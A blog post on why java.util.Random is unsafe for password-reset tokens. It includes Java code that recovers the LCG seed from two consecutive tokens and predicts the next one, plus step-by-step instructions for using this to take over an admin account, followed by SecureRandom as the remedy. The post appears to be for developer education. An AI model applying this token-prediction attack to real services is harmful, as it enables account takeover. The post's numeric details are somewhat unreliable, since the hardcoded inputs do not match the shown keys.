DEV Community

Arpan Bandyopadhyay
Arpan Bandyopadhyay

Posted on

Is it safe to use java.util.Random to generate random key ?

Why Random class is vulnerable? **
_
Let me explain using a real-world example: **_
Every service has login mechanism also they have option to reset the password,
but how to do it?
Password reset functionality usually works more or less like below:
• The user provides an email address associated with the account on the website.
• At this point server checks whether such user exists at the data base or not.
• If so - it generates a unique string, which is then saved and sent in an email.
• Then user opens the mail and click on the link which contains the unique key.
• The server verifies if the unique string is present at the database and if everything is correct you can change the password.

*Now how to generate the unique string? *
Probably using Random function that lets us generate unique sequences.
So let us generate unique sequence. The implementation looks like below ,
Each time someone want to reset the password the generateToken() method is called and the result is saved to the database .
So where is the vulnerability ?
The Random **class is a pseudo random number generator, that means based on a small amount of information, called **seed, it generates deterministically consecutive pseudo random number.
The seed can be defined by the user or like in our case set automatically by java. So it is enough to guess what seed was used to be able to generate the next token on our computer.

Here is the sample code to generate the unique key using Random :

import java.util.Random;

public class PasswordGen {
    static  Random random = new Random();
    private static String generateToken(){
        return Integer.toString(random.nextInt());
    }

    public static void main(String[] args) {
        System.out.println(generateToken());
        System.out.println(generateToken());
        System.out.println(generateToken());

    }
}
Enter fullscreen mode Exit fullscreen mode

Now ,To guess the seed, we use the below code :

import java.util.Random;

public class DetermineNextNumber {

    // implemented after https://docs.oracle.com/javase/7/docs/api/java/util/Random.html
    public static int next(long seed) {
        int bits=32;
        long seed2 = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
        return (int)(seed2 >>> (48 - bits));
    }

    public static void main(String[] args) {
        System.out.println("Starting");
        long i1 = 260136873;
        long i2 = -4253664;
        long seed =0;
        for (int i = 0; i < 65536; i++) {
            seed = i1 *65536 + i;
            if (next(seed) == i2) {
                System.out.println("Seed found: " + seed);
                break;
            }
        }
        Random random = new Random((seed ^ 0x5DEECE66DL) & ((1L << 48) - 1));
        int o1 = random.nextInt();
        int o2 = random.nextInt();
        System.out.println("So we have that nextInt is: "+o1+" and the third one is: "+o2+" with seed: "+seed);

    }
}
Enter fullscreen mode Exit fullscreen mode

It needs two consecutive numbers generated by the given Random class instances._ How to get it ?_

In our password reset functionality it is very simple .

It is enough to ask for reset of the account to which we hold the permits for consecutive two times :

  1. Reset the account password
  2. Reset the account password

and the third time try to reset the admin account.

  1. Reset the admin account password

Next, we will read the first two unique keys from the email that we have access to and using those keys we can get the third (admin password reset key) key

Now I am going to simulate the process by calling generateToken() function 3 times .

Image description

Here are the Three unique keys generated by above code :
1272513916
-342388298
-1733595076

Now, I will introduce first two values into DetermineNextNumber class.

Image description

Executing the code :

Image description

As you can see after few second, I can get potential value of the seeds as well as next pseudo number. In our case it is exactly same as the third key from our first code execution. In fact this is the unique identifier using which attacker can reset the admin account and exploit the application.

Now , what is the solution ?
Using SecureRandom class from java.security package.

Difference between java.util.Random and java.security.SecureRandom

The java.security.SecureRandom is a more secure version of java.util.Random, which provides a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG) in Java.

java.security.SecureRandom is always preferred over java.util.Random for generating sensitive random numbers, such as generating an encryption key in a cryptographic application or session ID on a web server or in password generators to create highly secure passwords.

Here are a few reasons why java.security.SecureRandom should be used in sensitive applications:

  1. java.util.Random implementations use a Linear Congruential Generator (LCG) to produce pseudorandom values, which are highly predictable.

On the other hand, most java.security.SecureRandom implementations use a pseudorandom number generator (PRNG), which uses a deterministic algorithm to produce a pseudorandom sequence from a truly random seed.

  1. java.util.Random uses the system time for the seed. java.security.SecureRandom takes random data from an underlying operating system. In Linux/Solaris, the random numbers are created from the entropy pool by reading from /dev/random and /dev/urandom files.

  2. If two instances of java.util.Random are created with the same seed, and the same sequence of method calls is made for each, they will generate and return identical sequences of numbers. This is not the case with java.security.SecureRandom, which seeds itself from sources of entropy obtained from the operating system, such as timings of I/O events, which are practically undetectable.

  3. The java.util.Random class uses a 48-bit seed, whereas java.security.SecureRandom usually uses a 128-bit or 160-bit seed. Therefore, only 248 attempts are required to break the Random class, which might not even take a second on modern computers. On the other hand, 2128 or 2160 attempts will be required for SecureRandom, which would take years to break even with today’s CPUs computational power.

  4. java.security.SecureRandom produces non-deterministic output as it doesn’t depend upon the system clock for a seed value. So it is impossible to predict previous and future random numbers. java.util.Random, on the other hand, uses the system clock as the seed and can be easily reproduced if the time at which the seed was generated is known.

  5. LCGs are very fast and typically require only 32- or 64-bits to retain state. On the other hand, creating a java.security.SecureRandom instance is quite expensive than creating a java.util.Random instance and is about 30-50 times slower than Random.

Also, the generateSeed() and nextBytes() methods of SecureRandom may get blocked on Linux if not enough entropy is available and as entropy is being gathered in /dev/random file. Here’s what Wikipedia has to say:

The generator keeps an estimate of the total number of bits of noise in the entropy pool. From this entropy pool, random numbers are created. When read, the /dev/random device will only return random bytes within the estimated number of bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high-quality randomness, such as a one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.

  1. It is worth noting that java.security.SecureRandom is a subclass of java.util.Random and inherits all nextX() methods from it, where X can be Boolean, Double, Float, Gaussian, Int, and Long.

  2. Initialization of java.util.Random and java.security.SecureRandom:

Random can be initialized as :

Random rand = new Random(System.nanoTime());

SecureRandom can be initialized as:

SecureRandom rand = new SecureRandom(SecureRandom.getSeed(20));

Here, the number 20 denotes 160-bit seed as 20 bytes = 160 bits.

  1. Javadoc itself suggests to use java.security.SecureRandom to get a cryptographically secure pseudorandom number generator in security-sensitive applications.

That’s all about the differences between java.util.Random and java.security.SecureRandom.

Let's connect:
LinkedIn : https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/

** reference - internet, youtube vlogs.

Top comments (0)